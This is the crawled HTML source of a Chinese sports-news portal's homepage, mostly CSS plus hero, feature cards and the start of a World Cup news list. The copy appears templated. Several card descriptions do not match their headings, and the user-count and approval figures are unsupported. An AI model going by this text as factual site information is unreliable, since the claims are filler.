PageSourceSearch

http://wokeeh.com/

html wokeeh.com collected 2026-10-05 23:48:06 UTC 37,036 bytes, 1,129 lines download raw bytes

1<!DOCTYPE html>
2<html lang="zh-CN">
3<head>
4<meta charset="UTF-8">
5<meta name="viewport" content="width=device-width, initial-scale=1.0">
6<title>爱游戏网页_爱游戏(中国)</title>
7<meta name="description" content="爱游戏网页是爱游戏(中国)官方体育资讯平台,提供最新体育赛事新闻、赛程预告、直播资讯与深度数据分析,覆盖足球、篮球、网球、电竞、赛车等热门项目,一站式掌握全球体坛动态。">
8<meta name="keywords" content="爱游戏网页,爱游戏(中国),体育新闻,体育赛事">
9<link rel="canonical" href="http://wokeeh.com">
10<meta property="og:title" content="爱游戏网页_爱游戏(中国)">
11<meta property="og:description" content="爱游戏网页是爱游戏(中国)官方体育资讯平台,提供最新体育赛事新闻、赛程预告、直播资讯与深度数据分析,覆盖足球、篮球、网球、电竞、赛车等热门项目,一站式掌握全球体坛动态。">
12<meta property="og:url" content="http://wokeeh.com">
13<meta property="og:type" content="website">
14<meta name="twitter:card" content="summary_large_image">
15<meta name="twitter:title" content="爱游戏网页_爱游戏(中国)">
16<meta name="twitter:description" content="爱游戏网页是爱游戏(中国)官方体育资讯平台,提供最新体育赛事新闻、赛程预告、直播资讯与深度数据分析,覆盖足球、篮球、网球、电竞、赛车等热门项目,一站式掌握全球体坛动态。">
17<script type="application/ld+json">
18{
19  "@context": "https://schema.org",
20  "@type": "SportsOrganization",
21  "name": "爱游戏网页",
22  "url": "http://wokeeh.com",
23  "description": "爱游戏网页官方平台,提供体育新闻、赛事预告、直播观看等一站式服务。",
24  "areaServed": "中国",
25  "sport": "综合体育"
26}
27</script>
27
28<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.1/css/all.min.css">
29
30
31<style>
32/* roulang page: index */
33:root {
34  --primary: #00ff5a;
35  --primary-dark: #00cc54;
36  --primary-glow: rgba(0,255,90, 0.3);
37  --accent: #2f86f7;
38  --accent-glow: rgba(47,134,247, 0.3);
39  --gold: #ff0700;
40  --gold-glow: rgba(255,7,0, 0.25);
41  --bg-deep: #081817;
42  --bg-card: #0f2826;
43  --bg-card-hover: #163835;
44  --bg-elevated: #1a403c;
45  --text-primary: #eefffe;
46  --text-secondary: #94b8b0;
47  --text-weak: #648b82;
48  --border: #1e4a43;
49  --border-light: #2a6055;
50  --radius-sm: 8px;
51  --radius-md: 14px;
52  --radius-lg: 24px;
53  --radius-xl: 32px;
54  --shadow-card: 0 8px 32px rgba(0, 0, 0, 0.5), 0 0 0 1px rgba(0,255,90, 0.06);
55  --shadow-glow: 0 0 40px rgba(0,255,90, 0.1);
56  --shadow-btn: 0 4px 20px rgba(0,255,90, 0.25);
57  --transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
58  --font-sans: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
59}
60*, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
61html { scroll-behavior: smooth; }
62body {
63  font-family: var(--font-sans);
64  background: var(--bg-deep);
65  color: var(--text-primary);
66  line-height: 1.7;
67  -webkit-font-smoothing: antialiased;
68  overflow-x: hidden;
69}
70a { color: var(--primary); text-decoration: none; transition: var(--transition); }
71a:hover { color: #66ff9c; }
72img { max-width: 100%; height: auto; display: block; }
73button, input, textarea { font-family: inherit; font-size: inherit; outline: none; border: none; }
74input::placeholder, textarea::placeholder { color: var(--text-weak); }
75.container {
76  max-width: 1240px;
77  margin: 0 auto;
78  padding: 0 24px;
79}
80@media (max-width: 768px) {
81  .container { padding: 0 16px; }
82}
83
84/* ==== Dock 导航 ==== */
85.header {
86  position: fixed;
87  top: 0;
88  left: 0;
89  right: 0;
90  z-index: 1000;
91  padding: 18px 24px;
92  pointer-events: none;
93}
94.header-inner {
95  max-width: 900px;
96  margin: 0 auto;
97  background: rgba(12,40,37, 0.75);
98  backdrop-filter: blur(20px) saturate(1.4);
99  -webkit-backdrop-filter: blur(20px) saturate(1.4);
100  border-radius: 60px;
101  padding: 8px 20px 8px 26px;
102  display: flex;
103  align-items: center;
104  justify-content: space-between;
105  border: 1px solid rgba(0,255,90, 0.12);
106  box-shadow: 0 8px 40px rgba(0, 0, 0, 0.6), 0 0 0 1px rgba(0,255,90, 0.05);
107  pointer-events: auto;
108  transition: var(--transition);
109}
110.header-inner:hover {
111  border-color: rgba(0,255,90, 0.25);
112  box-shadow: 0 8px 50px rgba(0, 0, 0, 0.7), 0 0 30px rgba(0,255,90, 0.06);
113}
114.logo {
115  font-size: 1.3rem;
116  font-weight: 700;
117  color: var(--text-primary);
118  letter-spacing: 1px;
119  display: flex;
120  align-items: center;
121  gap: 8px;
122}
123.logo i {
124  color: var(--primary);
125  font-size: 1.1rem;
126}
127.logo span {
128  background: linear-gradient(135deg, var(--primary), var(--accent));
129  -webkit-background-clip: text;
130  -webkit-text-fill-color: transparent;
131  background-clip: text;
132}
133.nav {
134  display: flex;
135  align-items: center;
136  gap: 4px;
137}
138.nav a {
139  color: var(--text-secondary);
140  padding: 6px 16px;
141  border-radius: 30px;
142  font-size: 0.9rem;
143  font-weight: 500;
144  transition: var(--transition);
145  position: relative;
146}
147.nav a:hover {
148  color: var(--text-primary);
149  background: rgba(0,255,90, 0.08);
150}
151.nav a.active {
152  color: var(--primary);
153  background: rgba(0,255,90, 0.12);
154  box-shadow: 0 0 20px rgba(0,255,90, 0.06);
155}
156.nav-cta {
157  background: linear-gradient(135deg, var(--primary), var(--primary-dark)) !important;
158  color: #fff !important;
159  padding: 7px 22px !important;
160  border-radius: 30px !important;
161  font-weight: 600 !important;
162  box-shadow: var(--shadow-btn);
163  margin-left: 8px;
164}
165.nav-cta:hover {
166  transform: translateY(-1px);
167  box-shadow: 0 6px 30px rgba(0,255,90, 0.35) !important;
168  background: linear-gradient(135deg, #33ff7a, var(--primary-dark)) !important;
169}
170.mobile-toggle {
171  display: none;
172  background: none;
173  color: var(--text-primary);
174  font-size: 1.5rem;
175  cursor: pointer;
176  padding: 4px 8px;
177  border-radius: 8px;
178  transition: var(--transition);
179}
180.mobile-toggle:hover { background: rgba(0,255,90,0.1); }
181@media (max-width: 768px) {
182  .header { padding: 12px 16px; }
183  .header-inner { padding: 6px 14px 6px 18px; border-radius: 40px; }
184  .nav { display: none; flex-direction: column; position: absolute; top: calc(100% + 12px); left: 16px; right: 16px; background: rgba(12,40,37,0.95); backdrop-filter: blur(20px); border-radius: 20px; padding: 12px; border: 1px solid var(--border); box-shadow: 0 20px 60px rgba(0,0,0,0.8); gap: 2px; }
185  .nav.open { display: flex; }
186  .nav a { padding: 10px 16px; font-size: 1rem; border-radius: 12px; }
187  .nav-cta { margin-left: 0; margin-top: 6px; text-align: center; }
188  .mobile-toggle { display: block; }
189}
190
191/* ==== Hero ==== */
192.hero {
193  min-height: 100vh;
194  display: flex;
195  align-items: center;
196  justify-content: center;
197  position: relative;
198  background: url('/assets/images/backpic/back-1.png') center center / cover no-repeat;
199  padding: 140px 24px 100px;
200  overflow: hidden;
201}
202.hero::before {
203  content: '';
204  position: absolute;
205  inset: 0;
206  background: linear-gradient(135deg, rgba(8,24,23,0.88) 0%, rgba(8,24,23,0.6) 50%, rgba(8,24,23,0.85) 100%);
207  z-index: 1;
208}
209.hero::after {
210  content: '';
211  position: absolute;
212  inset: 0;
213  background: radial-gradient(ellipse at 30% 50%, rgba(0,255,90,0.08) 0%, transparent 70%);
214  z-index: 1;
215}
216.hero-content {
217  position: relative;
218  z-index: 2;
219  text-align: center;
220  max-width: 820px;
221}
222.hero-badge {
223  display: inline-flex;
224  align-items: center;
225  gap: 8px;
226  background: rgba(0,255,90, 0.12);
227  border: 1px solid rgba(0,255,90, 0.2);
228  border-radius: 50px;
229  padding: 6px 18px 6px 10px;
230  font-size: 0.85rem;
231  color: var(--primary);
232  margin-bottom: 28px;
233  backdrop-filter: blur(8px);
234}
235.hero-badge i { font-size: 0.75rem; }
236.hero h1 {
237  font-size: 3.6rem;
238  font-weight: 800;
239  line-height: 1.15;
240  margin-bottom: 20px;
241  letter-spacing: -0.5px;
242  background: linear-gradient(135deg, #ffffff 0%, #94ffef 50%, var(--primary) 100%);
243  -webkit-background-clip: text;
244  -webkit-text-fill-color: transparent;
245  background-clip: text;
246}
247.hero p {
248  font-size: 1.2rem;
249  color: var(--text-secondary);
250  max-width: 640px;
251  margin: 0 auto 36px;
252  line-height: 1.8;
253}
254.hero-actions {
255  display: flex;
256  flex-wrap: wrap;
257  gap: 14px;
258  justify-content: center;
259}
260.btn-primary {
261  display: inline-flex;
262  align-items: center;
263  gap: 10px;
264  background: linear-gradient(135deg, var(--primary), var(--primary-dark));
265  color: #fff;
266  padding: 14px 34px;
267  border-radius: 50px;
268  font-weight: 600;
269  font-size: 1rem;
270  box-shadow: var(--shadow-btn);
271  transition: var(--transition);
272  border: none;
273  cursor: pointer;
274}
275.btn-primary:hover {
276  transform: translateY(-2px);
277  box-shadow: 0 8px 35px rgba(0,255,90, 0.4);
278  background: linear-gradient(135deg, #33ff7a, var(--primary-dark));
279  color: #fff;
280}
281.btn-secondary {
282  display: inline-flex;
283  align-items: center;
284  gap: 10px;
285  background: rgba(255, 255, 255, 0.06);
286  color: var(--text-primary);
287  padding: 14px 34px;
288  border-radius: 50px;
289  font-weight: 600;
290  font-size: 1rem;
291  border: 1px solid var(--border);
292  transition: var(--transition);
293  cursor: pointer;
294  backdrop-filter: blur(8px);
295}
296.btn-secondary:hover {
297  background: rgba(255, 255, 255, 0.1);
298  border-color: var(--border-light);
299  transform: translateY(-2px);
300  color: var(--text-primary);
301}
302.hero-stats {
303  display: flex;
304  justify-content: center;
305  gap: 40px;
306  margin-top: 50px;
307  padding-top: 36px;
308  border-top: 1px solid rgba(255,255,255,0.06);
309}
310.hero-stat { text-align: center; }
311.hero-stat-num {
312  font-size: 2rem;
313  font-weight: 700;
314  color: var(--primary);
315  line-height: 1.2;
316}
317.hero-stat-label {
318  font-size: 0.85rem;
319  color: var(--text-weak);
320  margin-top: 2px;
321}
322@media (max-width: 768px) {
323  .hero h1 { font-size: 2.2rem; }
324  .hero p { font-size: 1rem; }
325  .hero-stats { gap: 24px; flex-wrap: wrap; }
326  .hero-stat-num { font-size: 1.5rem; }
327}
328@media (max-width: 520px) {
329  .hero { padding: 120px 16px 80px; }
330  .hero h1 { font-size: 1.8rem; }
331  .hero-actions { flex-direction: column; align-items: center; }
332  .btn-primary, .btn-secondary { width: 100%; justify-content: center; }
333  .hero-stats { flex-direction: column; gap: 16px; }
334}
335
336/* ==== 板块通用 ==== */
337.section {
338  padding: 90px 0;
339}
340.section-header {
341  text-align: center;
342  margin-bottom: 56px;
343}
344.section-header h2 {
345  font-size: 2.4rem;
346  font-weight: 700;
347  letter-spacing: -0.3px;
348  margin-bottom: 12px;
349}
350.section-header p {
351  font-size: 1.05rem;
352  color: var(--text-secondary);
353  max-width: 580px;
354  margin: 0 auto;
355}
356.section-header .subtitle {
357  display: inline-block;
358  font-size: 0.85rem;
359  color: var(--primary);
360  background: rgba(0,255,90,0.1);
361  padding: 4px 16px;
362  border-radius: 50px;
363  margin-bottom: 12px;
364  border: 1px solid rgba(0,255,90,0.15);
365}
366@media (max-width: 768px) {
367  .section { padding: 60px 0; }
368  .section-header h2 { font-size: 1.8rem; }
369}
370
371/* ==== 卡片网格 ==== */
372.grid-3 {
373  display: grid;
374  grid-template-columns: repeat(3, 1fr);
375  gap: 28px;
376}
377.grid-2 {
378  display: grid;
379  grid-template-columns: repeat(2, 1fr);
380  gap: 28px;
381}
382.card {
383  background: var(--bg-card);
384  border-radius: var(--radius-md);
385  border: 1px solid var(--border);
386  padding: 28px;
387  transition: var(--transition);
388  box-shadow: 0 4px 20px rgba(0,0,0,0.3);
389}
390.card:hover {
391  background: var(--bg-card-hover);
392  border-color: rgba(0,255,90, 0.2);
393  transform: translateY(-4px);
394  box-shadow: var(--shadow-card);
395}
396.card-icon {
397  width: 48px;
398  height: 48px;
399  border-radius: 14px;
400  display: flex;
401  align-items: center;
402  justify-content: center;
403  font-size: 1.3rem;
404  margin-bottom: 16px;
405  background: rgba(0,255,90, 0.1);
406  color: var(--primary);
407}
408.card h3 {
409  font-size: 1.15rem;
410  font-weight: 600;
411  margin-bottom: 8px;
412  color: var(--text-primary);
413}
414.card p {
415  color: var(--text-secondary);
416  font-size: 0.95rem;
417  line-height: 1.7;
418}
419.card .tag {
420  display: inline-block;
421  font-size: 0.75rem;
422  padding: 2px 12px;
423  border-radius: 50px;
424  background: rgba(0,255,90,0.08);
425  color: var(--primary);
426  margin-top: 12px;
427  border: 1px solid rgba(0,255,90,0.1);
428}
429@media (max-width: 1024px) {
430  .grid-3 { grid-template-columns: repeat(2, 1fr); }
431}
432@media (max-width: 768px) {
433  .grid-3, .grid-2 { grid-template-columns: 1fr; gap: 18px; }
434  .card { padding: 20px; }
435}
436
437/* ==== 内容列表(资讯) ==== */
438.post-list {
439  display: flex;
440  flex-direction: column;
441  gap: 16px;
442}
443.post-item {
444  display: flex;
445  align-items: flex-start;
446  gap: 20px;
447  background: var(--bg-card);
448  border-radius: var(--radius-md);
449  padding: 20px 24px;
450  border: 1px solid var(--border);
451  transition: var(--transition);
452  cursor: pointer;
453}
454.post-item:hover {
455  background: var(--bg-card-hover);
456  border-color: rgba(0,255,90, 0.15);
457  transform: translateX(4px);
458}
459.post-item .post-thumb {
460  width: 80px;
461  height: 80px;
462  border-radius: 12px;
463  object-fit: cover;
464  flex-shrink: 0;
465  background: var(--bg-elevated);
466}
467.post-item .post-body { flex: 1; min-width: 0; }
468.post-item .post-cat {
469  font-size: 0.75rem;
470  color: var(--primary);
471  background: rgba(0,255,90,0.08);
472  padding: 2px 12px;
473  border-radius: 50px;
474  display: inline-block;
475  margin-bottom: 6px;
476  border: 1px solid rgba(0,255,90,0.1);
477}
478.post-item h4 {
479  font-size: 1rem;
480  font-weight: 600;
481  margin-bottom: 4px;
482  color: var(--text-primary);
483  line-height: 1.4;
484}
485.post-item .post-excerpt {
486  font-size: 0.88rem;
487  color: var(--text-secondary);
488  display: -webkit-box;
489  -webkit-line-clamp: 2;
490  -webkit-box-orient: vertical;
491  overflow: hidden;
492}
493.post-item .post-meta {
494  font-size: 0.8rem;
495  color: var(--text-weak);
496  margin-top: 6px;
497  display: flex;
498  gap: 16px;
499}
500.post-empty {
501  text-align: center;
502  padding: 40px;
503  color: var(--text-weak);
504  background: var(--bg-card);
505  border-radius: var(--radius-md);
506  border: 1px dashed var(--border);
507}
508@media (max-width: 768px) {
509  .post-item { flex-direction: column; padding: 16px; }
510  .post-item .post-thumb { width: 100%; height: 140px; }
511}
512
513/* ==== 图文区块 ==== */
514.feature-block {
515  display: grid;
516  grid-template-columns: 1fr 1fr;
517  gap: 50px;
518  align-items: center;
519}
520.feature-block.reverse { direction: rtl; }
521.feature-block.reverse > * { direction: ltr; }
522.feature-img {
523  border-radius: var(--radius-lg);
524  overflow: hidden;
525  box-shadow: var(--shadow-card);
526  background: var(--bg-elevated);
527  aspect-ratio: 4/3;
528}
529.feature-img img {
530  width: 100%;
531  height: 100%;
532  object-fit: cover;
533  transition: var(--transition);
534}
535.feature-img:hover img { transform: scale(1.03); }
536.feature-text h3 {
537  font-size: 1.6rem;
538  font-weight: 700;
539  margin-bottom: 16px;
540}
541.feature-text p {
542  color: var(--text-secondary);
543  font-size: 1rem;
544  line-height: 1.8;
545  margin-bottom: 20px;
546}
547.feature-text ul {
548  list-style: none;
549  display: flex;
550  flex-direction: column;
551  gap: 10px;
552}
553.feature-text ul li {
554  display: flex;
555  align-items: flex-start;
556  gap: 10px;
557  color: var(--text-secondary);
558  font-size: 0.95rem;
559}
560.feature-text ul li i {
561  color: var(--primary);
562  margin-top: 3px;
563  font-size: 0.9rem;
564}
565@media (max-width: 768px) {
566  .feature-block { grid-template-columns: 1fr; gap: 30px; }
567  .feature-block.reverse { direction: ltr; }
568  .feature-text h3 { font-size: 1.3rem; }
569}
570
571/* ==== 数据/流程 ==== */
572.steps {
573  display: grid;
574  grid-template-columns: repeat(4, 1fr);
575  gap: 24px;
576  counter-reset: step;
577}
578.step-card {
579  background: var(--bg-card);
580  border-radius: var(--radius-md);
581  padding: 28px 20px;
582  text-align: center;
583  border: 1px solid var(--border);
584  transition: var(--transition);
585  position: relative;
586}
587.step-card::before {
588  counter-increment: step;
589  content: "0" counter(step);
590  position: absolute;
591  top: 16px;
592  left: 20px;
593  font-size: 2.4rem;
594  font-weight: 800;
595  color: rgba(0,255,90, 0.08);
596  line-height: 1;
597}
598.step-card:hover {
599  border-color: rgba(0,255,90, 0.2);
600  transform: translateY(-4px);
601  box-shadow: var(--shadow-card);
602}
603.step-card .step-icon {
604  font-size: 2rem;
605  color: var(--primary);
606  margin-bottom: 14px;
607}
608.step-card h4 {
609  font-size: 1.05rem;
610  font-weight: 600;
611  margin-bottom: 6px;
612}
613.step-card p {
614  font-size: 0.9rem;
615  color: var(--text-secondary);
616}
617@media (max-width: 1024px) {
618  .steps { grid-template-columns: repeat(2, 1fr); }
619}
620@media (max-width: 520px) {
621  .steps { grid-template-columns: 1fr; }
622}
623
624/* ==== FAQ ==== */
625.faq-list {
626  max-width: 760px;
627  margin: 0 auto;
628  display: flex;
629  flex-direction: column;
630  gap: 12px;
631}
632.faq-item {
633  background: var(--bg-card);
634  border-radius: var(--radius-sm);
635  border: 1px solid var(--border);
636  overflow: hidden;
637  transition: var(--transition);
638}
639.faq-item:hover { border-color: rgba(0,255,90,0.15); }
640.faq-q {
641  padding: 18px 24px;
642  font-weight: 600;
643  font-size: 1rem;
644  color: var(--text-primary);
645  cursor: pointer;
646  display: flex;
647  justify-content: space-between;
648  align-items: center;
649  user-select: none;
650  transition: var(--transition);
651}
652.faq-q:hover { color: var(--primary); }
653.faq-q i { transition: var(--transition); font-size: 0.85rem; color: var(--text-weak); }
654.faq-item.active .faq-q i { transform: rotate(180deg); color: var(--primary); }
655.faq-a {
656  padding: 0 24px 18px;
657  font-size: 0.95rem;
658  color: var(--text-secondary);
659  line-height: 1.8;
660  display: none;
661}
662.faq-item.active .faq-a { display: block; }
663
664/* ==== CTA ==== */
665.cta-section {
666  background: linear-gradient(135deg, rgba(0,255,90,0.06) 0%, rgba(47,134,247,0.06) 100%);
667  border: 1px solid rgba(0,255,90,0.08);
668  border-radius: var(--radius-xl);
669  padding: 60px 40px;
670  text-align: center;
671  position: relative;
672  overflow: hidden;
673}
674.cta-section::before {
675  content: '';
676  position: absolute;
677  inset: 0;
678  background: radial-gradient(ellipse at 50% 0%, rgba(0,255,90,0.05) 0%, transparent 70%);
679}
680.cta-section h2 {
681  font-size: 2rem;
682  font-weight: 700;
683  margin-bottom: 12px;
684  position: relative;
685}
686.cta-section p {
687  color: var(--text-secondary);
688  max-width: 500px;
689  margin: 0 auto 28px;
690  position: relative;
691}
692.cta-section .btn-primary { position: relative; }
693@media (max-width: 768px) {
694  .cta-section { padding: 40px 24px; }
695  .cta-section h2 { font-size: 1.5rem; }
696}
697
698/* ==== Footer ==== */
699.footer {
700  border-top: 1px solid var(--border);
701  padding: 50px 0 30px;
702  margin-top: 40px;
703}
704.footer-grid {
705  display: grid;
706  grid-template-columns: 2fr 1fr 1fr 1fr;
707  gap: 40px;
708  margin-bottom: 40px;
709}
710.footer-brand .logo { margin-bottom: 12px; font-size: 1.2rem; }
711.footer-brand p {
712  font-size: 0.9rem;
713  color: var(--text-secondary);
714  max-width: 300px;
715  line-height: 1.7;
716}
717.footer-col h5 {
718  font-size: 0.9rem;
719  font-weight: 600;
720  color: var(--text-primary);
721  margin-bottom: 16px;
722  text-transform: uppercase;
723  letter-spacing: 0.5px;
724}
725.footer-col a {
726  display: block;
727  font-size: 0.9rem;
728  color: var(--text-secondary);
729  padding: 4px 0;
730  transition: var(--transition);
731}
732.footer-col a:hover { color: var(--primary); padding-left: 4px; }
733.footer-bottom {
734  border-top: 1px solid var(--border);
735  padding-top: 20px;
736  display: flex;
737  justify-content: space-between;
738  align-items: center;
739  flex-wrap: wrap;
740  gap: 12px;
741  font-size: 0.85rem;
742  color: var(--text-weak);
743}
744.footer-bottom a { color: var(--text-weak); }
745.footer-bottom a:hover { color: var(--primary); }
746.footer-socials { display: flex; gap: 10px; }
747.footer-socials a {
748  width: 36px; height: 36px;
749  border-radius: 50%;
750  background: var(--bg-card);
751  border: 1px solid var(--border);
752  display: flex;
753  align-items: center;
754  justify-content: center;
755  color: var(--text-secondary);
756  font-size: 0.9rem;
757  transition: var(--transition);
758}
759.footer-socials a:hover {
760  background: var(--bg-card-hover);
761  border-color: var(--primary);
762  color: var(--primary);
763  transform: translateY(-2px);
764}
765@media (max-width: 768px) {
766  .footer-grid { grid-template-columns: 1fr 1fr; gap: 24px; }
767}
768@media (max-width: 520px) {
769  .footer-grid { grid-template-columns: 1fr; }
770  .footer-bottom { flex-direction: column; text-align: center; }
771}
772
773/* ==== 工具类 ==== */
774.text-center { text-align: center; }
775.mt-20 { margin-top: 20px; }
776.mt-40 { margin-top: 40px; }
777.gap-16 { gap: 16px; }
778.flex-center { display: flex; align-items: center; justify-content: center; }
779.badge {
780  display: inline-flex;
781  align-items: center;
782  gap: 6px;
783  font-size: 0.78rem;
784  padding: 3px 14px;
785  border-radius: 50px;
786  background: rgba(0,255,90,0.08);
787  color: var(--primary);
788  border: 1px solid rgba(0,255,90,0.1);
789}
790.badge-gold {
791  background: rgba(255,7,0,0.1);
792  color: var(--gold);
793  border-color: rgba(255,7,0,0.15);
794}
795.badge-accent {
796  background: rgba(47,134,247,0.1);
797  color: var(--accent);
798  border-color: rgba(47,134,247,0.15);
799}
800
801
802/* === 无JS模板专用补充 === */
803/* FAQ纯CSS手风琴 */
804details.faq-item {
805  background: var(--bg-card, #0f2826);
806  border-radius: var(--radius-sm, 8px);
807  border: 1px solid var(--border, #1e4a43);
808  overflow: hidden;
809  transition: all 0.3s;
810  margin-bottom: 12px;
811}
812details.faq-item:hover { border-color: rgba(0,255,90,0.15); }
813details.faq-item summary {
814  padding: 18px 24px;
815  font-weight: 600;
816  font-size: 1rem;
817  color: var(--text-primary, #eefffe);
818  cursor: pointer;
819  display: flex;
820  justify-content: space-between;
821  align-items: center;
822  user-select: none;
823  list-style: none;
824  transition: all 0.3s;
825}
826details.faq-item summary::-webkit-details-marker { display: none; }
827details.faq-item summary::marker { display: none; content: ''; }
828details.faq-item summary:hover { color: var(--primary, #00ff5a); }
829details.faq-item summary i { transition: transform 0.3s; font-size: 0.85rem; color: var(--text-weak, #648b82); }
830details.faq-item[open] summary i { transform: rotate(180deg); color: var(--primary, #00ff5a); }
831details.faq-item .faq-a {
832  padding: 0 24px 18px;
833  font-size: 0.95rem;
834  color: var(--text-secondary, #94b8b0);
835  line-height: 1.8;
836}
837/* 移动端导航始终可见 */
838@media (max-width: 768px) {
839  .nav { display: flex !important; flex-direction: column; position: absolute; top: calc(100% + 12px); left: 16px; right: 16px; background: rgba(12,40,37,0.95); backdrop-filter: blur(20px); border-radius: 20px; padding: 12px; border: 1px solid var(--border, #1e4a43); box-shadow: 0 20px 60px rgba(0,0,0,0.8); gap: 2px; }
840  .nav a { padding: 10px 16px; font-size: 1rem; border-radius: 12px; }
841  .mobile-toggle { display: none !important; }
842}
843
844</style>
845</head>
846<body>
847
848<!-- ===== Header / Dock Nav ===== -->
849<header class="header">
850  <div class="header-inner">
851    <a href="/" class="logo">
852      <i class="fas fa-bolt"></i>
853      <span>爱游戏网页</span>
854    </a>
855        <nav class="nav" id="mainNav">
856      <a href="/" class="active">首页</a>
857      <a href="/sports-news.html">体育新闻</a>
858      <a href="/sports-events.html">体育赛事</a>
859      <a href="/contact.html">联系我们</a>
860    </nav>
861    
862  </div>
863</header>
864
865<!-- ===== Hero ===== -->
866<section class="hero">
867  <div class="hero-content">
868    <div class="hero-badge"><i class="fas fa-check-circle"></i> 爱游戏网页体育赛事平台</div>
869    <h1>爱游戏网页 - 体育赛事资讯平台</h1>
870    <p>爱游戏网页为您提供最新体育新闻资讯、全球热门赛事预告与深度数据分析。足球、篮球、网球、电竞、赛车,一站式掌握体坛动态。</p>
871    <div class="hero-actions">
872      <a href="/sports-news.html" class="btn-primary"><i class="fas fa-sign-in-alt"></i> 浏览体育新闻</a>
873      <a href="#intro" class="btn-secondary"><i class="fas fa-info-circle"></i> 了解更多</a>
874    </div>
875    <div class="hero-stats">
876      <div class="hero-stat"><div class="hero-stat-num">50+</div><div class="hero-stat-label">赛事覆盖</div></div>
877      <div class="hero-stat"><div class="hero-stat-num">100万+</div><div class="hero-stat-label">日活用户</div></div>
878      <div class="hero-stat"><div class="hero-stat-num">99%</div><div class="hero-stat-label">好评率</div></div>
879    </div>
880  </div>
881</section>
882
883<!-- ===== 品牌介绍 ===== -->
884<section class="section" id="intro">
885  <div class="container">
886    <div class="section-header">
887      <span class="subtitle">关于爱游戏网页</span>
888      <h2>爱游戏网页,连接体育世界</h2>
889      <p>爱游戏网页致力于为体育迷提供一站式赛事资讯服务,覆盖全球热门体育赛事,实时更新新闻与数据分析。</p>
890    </div>
891    <div class="grid-3">
892      <div class="card">
893        <div class="card-icon"><i class="fas fa-trophy"></i></div>
894        <h3>体育新闻</h3>
895        <p>在线完成体育新闻,支持个人和团体注册,实时查看报名状态与参赛信息。</p>
896        <span class="tag">实时更新</span>
897      </div>
898      <div class="card">
899        <div class="card-icon"><i class="fas fa-chart-line"></i></div>
900        <h3>赛事预告</h3>
901        <p>项目结束后立即发布成绩,支持多维度的数据分析和历史成绩对比。</p>
902        <span class="tag">实时更新</span>
903      </div>
904      <div class="card">
905        <div class="card-icon"><i class="fas fa-video"></i></div>
906        <h3>数据分析</h3>
907        <p>高清直播热门项目,多机位切换,回放精彩瞬间,不错过任何一场对决。</p>
908        <span class="tag">高清流畅</span>
909      </div>
910    </div>
911  </div>
912</section>
913
914<!-- ===== 图文区块 ===== -->
915<section class="section" style="padding-top:0;">
916  <div class="container">
917    <div class="feature-block">
918      <div class="feature-img">
919        <img src="/assets/images/coverpic/football.png" alt="爱游戏网页项目服务体验">
920      </div>
921      <div class="feature-text">
922        <h3>全方位企业服务,从沟通开始</h3>
923        <p>爱游戏网页平台整合了体育新闻、成绩发布、直播互动等核心功能,为运动员和观众提供无缝的项目参与体验。</p>
924        <ul>
925          <li><i class="fas fa-check"></i> 统一账号登录,支持多种认证方式</li>
926          <li><i class="fas fa-check"></i> 智能推荐项目,根据兴趣精准匹配</li>
927          <li><i class="fas fa-check"></i> 个人数据中心,完整记录运动生涯</li>
928          <li><i class="fas fa-check"></i> 社交互动,与选手和粉丝实时交流</li>
929        </ul>
930        <a href="/sports-news.html" class="btn-primary mt-20" style="display:inline-flex;"><i class="fas fa-arrow-right"></i> 查看服务指南</a>
931      </div>
932    </div>
933  </div>
934</section>
935
936<!-- ===== 分类入口 ===== -->
937<section class="section" style="background: rgba(0,255,90,0.02); border-top: 1px solid var(--border); border-bottom: 1px solid var(--border);">
938  <div class="container">
939    <div class="section-header">
940      <span class="subtitle">分类导航</span>
941      <h2>服务指南 · 一站式导航</h2>
942      <p>从登录到参赛,每一步都有清晰指引。</p>
943    </div>
944    <div class="grid-2" style="max-width:800px;margin:0 auto;">
945      <div class="card" style="text-align:center;padding:36px 28px;">
946        <div class="card-icon" style="margin:0 auto 16px;background:rgba(0,255,90,0.12);"><i class="fas fa-flag-checkered"></i></div>
947        <h3>服务指南</h3>
948        <p>涵盖体育新闻流程、登录教程、参赛须知等完整指南,助您快速上手爱游戏网页。</p>
949        <span class="tag">热门分类</span>
950        <div style="margin-top:16px;"><a href="/sports-news.html" class="btn-secondary" style="display:inline-flex;padding:10px 28px;">进入指南 <i class="fas fa-arrow-right" style="margin-left:6px;"></i></a></div>
951      </div>
952      <div class="card" style="text-align:center;padding:36px 28px;">
953        <div class="card-icon" style="margin:0 auto 16px;background:rgba(255,7,0,0.12);color:var(--gold);"><i class="fas fa-medal"></i></div>
954        <h3>热门项目</h3>
955        <p>浏览当前最热门的体育项目,一键报名参与,与万千选手同场竞技。</p>
956        <span class="tag badge-gold">火热进行</span>
957        <div style="margin-top:16px;"><a href="/sports-news.html" class="btn-secondary" style="display:inline-flex;padding:10px 28px;">浏览项目 <i class="fas fa-arrow-right" style="margin-left:6px;"></i></a></div>
958      </div>
959    </div>
960  </div>
961</section>
962
963<!-- ===== 最新资讯 ===== -->
964<section class="section">
965  <div class="container">
966    <div class="section-header">
967      <span class="subtitle">最新动态</span>
968      <h2>企业资讯</h2>
969      <p>了解爱游戏网页最新项目通知、功能更新与行业动态。</p>
970    </div>
971    <div class="post-list" id="cmsPostList">
972                      <a href="article-2.html" class="post-item">
973          <img src="/assets/images/coverpic/basketball.png" alt="企业资讯" class="post-thumb" onerror="this.style.display='none'">
974          <div class="post-body">
975            <span class="post-cat">赛事资讯</span>
976            <h4>世界杯英格兰对阵哥伦比亚:经典对决的战术与记忆</h4>
977            <div class="post-excerpt">世界杯英格兰对阵哥伦比亚总是充满悬念与激情。从2018年莫斯科的点球大战到如今新一代球员的崛起,两队交锋背后有哪些战术博弈与故事?本文回顾历史、剖析阵容,展望这场备受瞩目的对决可能带来的精彩瞬间。</div>
978            <div class="post-meta">
979              <span><i class="far fa-calendar-alt"></i> 2026-09-04</span>
980            </div>
981          </div>
982        </a>
983                <a href="article-1.html" class="post-item">
984          <img src="/assets/images/coverpic/basketball.png" alt="企业资讯" class="post-thumb" onerror="this.style.display='none'">
985          <div class="post-body">
986            <span class="post-cat">赛事资讯</span>
987            <h4>世界杯赛程前瞻:豪门对决一触即发</h4>
